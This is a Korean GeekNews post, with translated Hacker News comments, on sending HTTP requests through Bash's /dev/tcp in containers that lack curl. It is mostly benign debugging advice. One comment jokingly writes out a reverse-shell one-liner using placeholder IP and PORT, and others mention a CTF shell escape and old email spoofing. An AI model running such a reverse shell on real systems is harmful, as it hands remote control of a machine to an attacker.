# curl 없는 컨테이너에서 Bash /dev/tcp로 HTTP 요청 보내기

> Clean Markdown view of GeekNews topic #30580. Use the original source for factual precision when an external source URL is present.

## Metadata

- GeekNews HTML: [https://news.hada.io/topic?id=30580](https://news.hada.io/topic?id=30580)
- GeekNews Markdown: [https://news.hada.io/topic/30580.md](https://news.hada.io/topic/30580.md)
- Type: GN+
- Author: [neo](https://news.hada.io/@neo)
- Published: 2026-06-18T01:36:15+09:00
- Updated: 2026-06-18T01:36:15+09:00
- Original source: [mareksuppa.com](https://mareksuppa.com/til/bash-dev-tcp-http-without-curl/)
- Points: 1
- Comments: 1

## Topic Body

- 최소 컨테이너 이미지에는 **curl**이나 wget이 빠져 있는 경우가 많아, 패키지 설치 없이 내부 서비스 연결성을 확인할 우회 방법이 유용함
- Bash의 `/dev/tcp/host/port` 리다이렉션은 **TCP 소켓**을 열 수 있어, HTTP/1.1 요청 문자열을 직접 써 보내고 응답을 읽을 수 있음
- `/dev/tcp`는 파일시스템 경로가 아니라 **Bash 내부 기능**이므로 `ls /dev/tcp`나 다른 셸의 일반 파일 접근 방식으로는 동작하지 않음
- 이 방법은 리다이렉트, chunked 응답, 압축, 재시도, TLS를 처리하지 않는 **간단한 디버깅 기법**이며 `Connection: close` 없이는 `cat`이 대기할 수 있음
- 일상적인 HTTP 작업에는 curl이 맞지만, 도구를 추가하기 어려운 **작은 컨테이너**에서는 빠른 연결 확인에 충분함

---

### Bash 파일 디스크립터로 HTTP 요청 작성하기
- 내부 Docker 네트워크에서 다른 서비스의 `/health` 엔드포인트 접근 여부를 확인해야 했지만, 이미지에 **curl**이나 wget이 없는 상황이었음
- Bash는 TCP 소켓을 파일 디스크립터에 연결할 수 있어, 다음처럼 HTTP 요청을 직접 작성해 보낼 수 있음

```bash
exec 3<>/dev/tcp/service/8642
printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3
cat <&3
```

- `service`는 실행 위치에서 해석되고 도달 가능한 호스트명이어야 함
  - Docker 네트워크에 설정된 컨테이너나 서비스 이름일 수 있음
  - 해석 가능한 DNS 이름도 사용할 수 있음
  - 호스트와 포트는 환경에 맞게 바꿔야 함
- 응답 출력에는 **상태 줄**, 헤더, 빈 줄, 본문이 함께 포함됨
- 헤더를 추가하려면 요청을 끝내는 빈 줄 앞에 `\r\n`으로 끝나는 줄을 더 넣으면 됨

```bash
exec 3<>/dev/tcp/service/8642
printf 'GET /v1/models HTTP/1.1\r\nHost: service\r\nAuthorization: Bearer %s\r\nConnection: close\r\n\r\n' "$API_KEY" >&3
cat <&3
```

### `/dev/tcp`가 실제 파일이 아닌 이유
- `/dev/tcp`는 실제 장치 파일이 아니라 **Bash가 처리하는 리다이렉션**임
  - 디스크에 해당 경로가 없으므로 `ls /dev/tcp`는 실패함
  - 다른 셸에서 `cat /dev/tcp/...`를 실행해도 오류가 남
- [Bash manual](https://www.gnu.org/software/bash/manual/bash.html#Redirections)에 따르면 `/dev/tcp/host/port`에서 `host`가 유효한 호스트명이나 인터넷 주소이고 `port`가 정수 포트 번호나 서비스 이름이면 Bash가 TCP 소켓 열기를 시도함
- Bash가 DNS 조회와 `connect(2)`를 수행하고, `exec 3<>`는 소켓을 파일 디스크립터 `3`에 연결해 읽기와 쓰기를 가능하게 함

### HTTP 클라이언트 대체재가 아닌 임시 점검 도구
- 이 방식은 실제 **HTTP 클라이언트**가 아니어서 리다이렉트, chunked 응답, 압축, 재시도, TLS 등을 처리하지 않음
- `Connection: close` 헤더가 중요함
  - 없으면 서버가 HTTP/1.1 기본값에 따라 연결을 유지할 수 있음
  - 이 경우 `cat <&3`가 EOF를 기다리며 끝나지 않을 수 있음
- `timeout 6 bash -c '...'`처럼 감싸면 연결이 닫히지 않는 상황에도 대비할 수 있음
- `/dev/tcp`는 원시 소켓을 여는 방식이라 **평문 HTTP**에만 해당하며, `https`에는 `openssl s_client`가 필요함
- POSIX 기능이 아니라 Bash 기능이므로 Debian의 `/bin/sh`인 `dash`나 `zsh`에서는 사용할 수 없고, `bash`를 직접 호출해야 함
- Bash 빌드 시 `--enable-net-redirections`로 켜지는 컴파일 타임 옵션임
  - 대부분의 주류 빌드는 활성화되어 있음
  - Debian은 [오랫동안 비활성화한 적이 있음](https://bugs.launchpad.net/ubuntu/+source/bash/+bug/215034)
- 결론적으로 curl을 대체하는 일반 도구라기보다, 설치를 추가할 수 없는 **작은 컨테이너**에서 빠르게 연결성을 확인하는 용도에 적합함

## Comments



### Comment 59838

- Author: neo
- Created: 2026-06-18T01:36:17+09:00
- Points: 1

###### [Hacker News 의견들](https://news.ycombinator.com/item?id=48558018) 
- 90년대 말 어린 시절에 `telnet`으로 **80, 25, 110 포트**에 접속해 서버와 직접 대화할 수 있다는 걸 알고 충격받았음  
  간단한 `GET / HTTP/1.1` 요청을 직접 치거나, 25번 포트에서 `HELO`, `mail-from`, `mail-to`로 메일을 보내고, POP3로 우편함 목록과 개별 메시지를 가져올 수 있었음  
  이 경험이 “마법은 없다”는 깨달음의 시작이었고, 컴퓨터의 모든 부분은 사람이 만든 것이며 노력하면 어느 수준까지는 이해 가능하다는 걸 알게 됨  
  미래에는 대부분이 에이전트에게 맡기겠지만, 모델과 안전장치의 필터 없이 실제 동작을 배우려는 사람에게는 여러 시스템의 흥미로운 구멍이 남을 것 같음
  - **DKIM/SPF**가 없고 SMTP 서버 인증도 느슨하던 시절에는 `jacques.chirac@elysee.fr` 같은 주소로 메일을 보내 친구들에게 해커처럼 보일 수 있었음
  - 그때는 **DKIM이나 SPF**가 없었을 뿐 아니라, 대부분의 SMTP 서버가 누구에게서든 누구에게든 메일을 받아주는 **오픈 릴레이**였음
  - 결국 전부 텍스트 파일일 뿐임  
    구조화된 텍스트 파일을 만들고, 보내고, 읽는 여러 방식 위에 약어가 잔뜩 얹혀 있는 구조였음  
    어느 날 데이터베이스조차 텍스트 파일이라는 걸 깨닫고 잠깐 앉아 있어야 했음
  - 지난 세기에는 회사에서 개인 메일을 읽고 보낼 때 각각 `telnet`으로 **POP3와 SMTP**에 접속해 처리했음
  - **HTTP/2**에서는 이런 식으로 할 수 없지만, 다행히 거의 모든 서버가 아직 HTTP/1도 말함  
    TLS도 `telnet`으로는 안 되고, 많은 서버가 HTTP 요청에는 리다이렉트만 돌려줌  
    `telnet` 대신 `openssl s_client`를 쓰면 TLS 안에 텍스트를 터널링할 수는 있지만 약간 편법처럼 느껴짐  
    현대 프로토콜 다수가 바이너리 인코딩을 선호해서 전용 도구 없이는 선 수준에서 만지기 어려워진 것도 아쉬움  
    그래도 미래에도 이런 걸 파고드는 사람은 있을 것 같고, 막대기로 불 피우기나 점토 벽돌 굽기처럼 오래된 기술은 재미있고 때로 실제로 유용함  
    오히려 AI 덕분에 실험이 쉬워져서, RFC를 뒤지지 않고도 LLM에게 물어보며 예컨대 일반적인 IMAP 명령 대부분을 배울 수 있음

- `zsh`에는 Bash의 `/dev/tcp`와는 별도로 **`zsh/net/tcp`와 `zsh/zftp` 모듈**이 있음  
  [https://zsh.sourceforge.io/Doc/Release/TCP-Function-System.h...](<https://zsh.sourceforge.io/Doc/Release/TCP-Function-System.html>)  
  [https://zsh.sourceforge.io/Doc/Release/Zsh-Modules.html#The-...](<https://zsh.sourceforge.io/Doc/Release/Zsh-Modules.html#The-zsh_002fnet_002ftcp-Module>)  
  [https://zsh.sourceforge.io/Doc/Release/Zftp-Function-System....](<https://zsh.sourceforge.io/Doc/Release/Zftp-Function-System.html>)

- **Plan 9**에는 실제 합성 파일 시스템인 `/net`이 있어서 어떤 프로그램에서도 이런 작업과 그 이상을 할 수 있었음  
  다른 머신의 `/net`을 9P 프로토콜로 마운트하면 즉석 VPN처럼 쓸 수도 있었고, 9front로 Linux에서 실험 가능함  
  Go 라이브러리에도 Plan 9식 `/net`의 흔적이 보이는데, Rob Pike의 유산 같음

- `example.com`에는 잘 동작함  
  `exec 3<>/dev/tcp/example.com/80`로 열고 `printf 'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' >&3`를 보낸 뒤 `cat <&3` 하면 `HTTP/1.1 200 OK`가 나옴  
  요즘은 HTTPS를 강제하지 않는 도메인이 너무 적어서 이런 테스트를 할 때 결국 **example.com**으로 가게 됨
  - **공용 WiFi 캡티브 포털**이 꼬였을 때도 `example.com`이 유용함  
    브라우저에서 [http://example.com](<http://example.com>)으로 가면 캡티브 포털 페이지로 다시 리다이렉트되어 인터넷 접속 절차를 다시 완료할 수 있음
  - `printf` 안에 실제 줄바꿈을 넣어도 동작함  
    `\r`은 있어야 맞지만, 빼도 동작하긴 함

- 친구의 컴퓨터와 대화하려면 다들 `bash -i >& /dev/tcp/IP/PORT 0>&1`를 쓴다는 농담이 가능함

- Bash가 HTTP를 말하는 게 아니라, **TCP 소켓을 열 수 있게 해주는 것**임  
  여기서 하는 일은 직접 HTTP를 말하는 것이고, 테스트나 디버깅용으로는 괜찮고 손으로 해보면 재미있지만, 실제 무인 환경에서 이런 가짜 HTTP 클라이언트를 쓰면 발등을 찍게 됨  
  이 장난감 코드는 HTTP를 제대로 파싱하지 못해 깨질 수 있음  
  물론 Bash로 완전한 HTTP/1.1 클라이언트를 작성할 수도 있고, 순수 Bash HTTP 서버도 만들 수는 있음: [https://github.com/bahamas10/bash-web-server](<https://github.com/bahamas10/bash-web-server>)  
  덜 미친 선택지로는 보통 `nc`가 있고, 대개 그쪽이 더 현명함
  - “순수 Bash로 완전한 HTTP 서버”라는 표현은 정확히는 틀림  
    Bash는 들어오는 연결을 받기 위해 **TCP/UDP 소켓을 리슨**할 수 없음  
    `bash-web-server` 프로젝트는 C로 된 소켓 리스너를 빌드하고, 런타임에 “내장” 모듈로 동적 로드해 기능을 제공함  
    [0] [https://github.com/bahamas10/bash-web-server/tree/main/loada...](<https://github.com/bahamas10/bash-web-server/tree/main/loadables>)
  - 지적이 맞고, 글의 표현이 과했으니 더 정확하게 업데이트할 예정임  
    `nc`나 비슷한 netcat 계열 도구가 더 좋은 선택이겠지만, 당시 사용하던 이미지에는 그런 도구가 없었음
  - 그렇게까지 미친 건 아님  
    HTTP/1.1과 필수 `Host` 헤더가 생기기 전부터 손으로 HTTP 요청을 입력해 왔음  
    진지한 용도로 쓰는 건 미친 짓이고 Bash로 웹 서버를 구현하는 것도 마찬가지지만, 빠른 테스트용으로는 꽤 좋음
  - 누군가는 **순수 Bash Minecraft 서버**도 만들었음  
    [https://sdomi.pl/weblog/15-witchcraft-minecraft-server-in-ba...](<https://sdomi.pl/weblog/15-witchcraft-minecraft-server-in-bash/>)
  - Bash용 Rails 비슷한 프레임워크도 있음: [https://github.com/jneen/balls](<https://github.com/jneen/balls>)

- Bauhinia 팀이 CTF 문제를 풀 때 이걸 쓰는 걸 보고 배웠음  
  여러 단계로 이어지는 CTF였고, 처음에는 ROP 체인으로 `system` 셸을 얻지만 사실상 Bash 말고는 아무것도 실행할 수 없는 감옥 같은 환경이었음  
  쓸 수 있는 건 `read`와 `cat` 정도라서 `cat /dev/tcp`를 사용한 뒤 이를 **가상 터미널**로 리다이렉트하고, 그 내용을 읽어 내부 시스템 URL을 얻어 플래그를 찾았음

- 내부 **Docker 네트워크**에서 컨테이너 간 연결을 확인하다가, 이미지에 `curl`도 `wget`도 없어서 이 방법을 발견함  
  놀라웠던 점은 Bash에 `/dev/tcp`가 있어서 약간의 셸 마법으로 HTTP 요청 비슷한 걸 만들 수 있다는 것임  
  예를 들어 `exec 3<>/dev/tcp/service/8642`로 열고 `printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3`를 보낸 뒤 `cat <&3` 하면 됨  
  여기서 `service`는 접속 대상 호스트명이고 `8642`는 HTTP로 말해보려는 포트임
  - 멋지긴 한데, 그냥 **curl을 지원하는 이미지**를 쓰면 안 되는 단점이 있는지 궁금함  
    떠오르는 단점이 없고, 운영 이미지에서도 거의 필수라고 봄

- 예전 Debian과 Debian 파생 배포판에서는 이 기능이 동작하지 않았는데, 가상 파일을 통한 **TCP 접근**이 기본으로 비활성화되어 있었기 때문임  
  이해하기로는 2009년에 입장이 바뀌어 기능이 활성화됐고, Bug #146464에 논의와 링크가 있음  
  <[https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464#37](<https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464#37>)>  
  셸 도구로 네트워크 기능에 직접 접근하는 방법은 이외에도 `curl`, `wget`, Perl의 `HEAD`와 `GET` 명령, `netcat`/`nc`, `socat`, `telnet` 등 여러 가지가 있음

- 십대 때 다른 사람의 `/dev/ptty`에 으스스한 메시지를 `echo`로 보내 놀라게 하던 기억이 남  
  내가 보낸 메시지가 상대의 열린 터미널에 마법처럼 나타났음  
  컴퓨터실에서 클라이언트마다 다른 계정을 쓰게 해 잠그지 않았던 이유는 아직도 모르겠고, 당시 **VAX의 한계**였을지도 모름
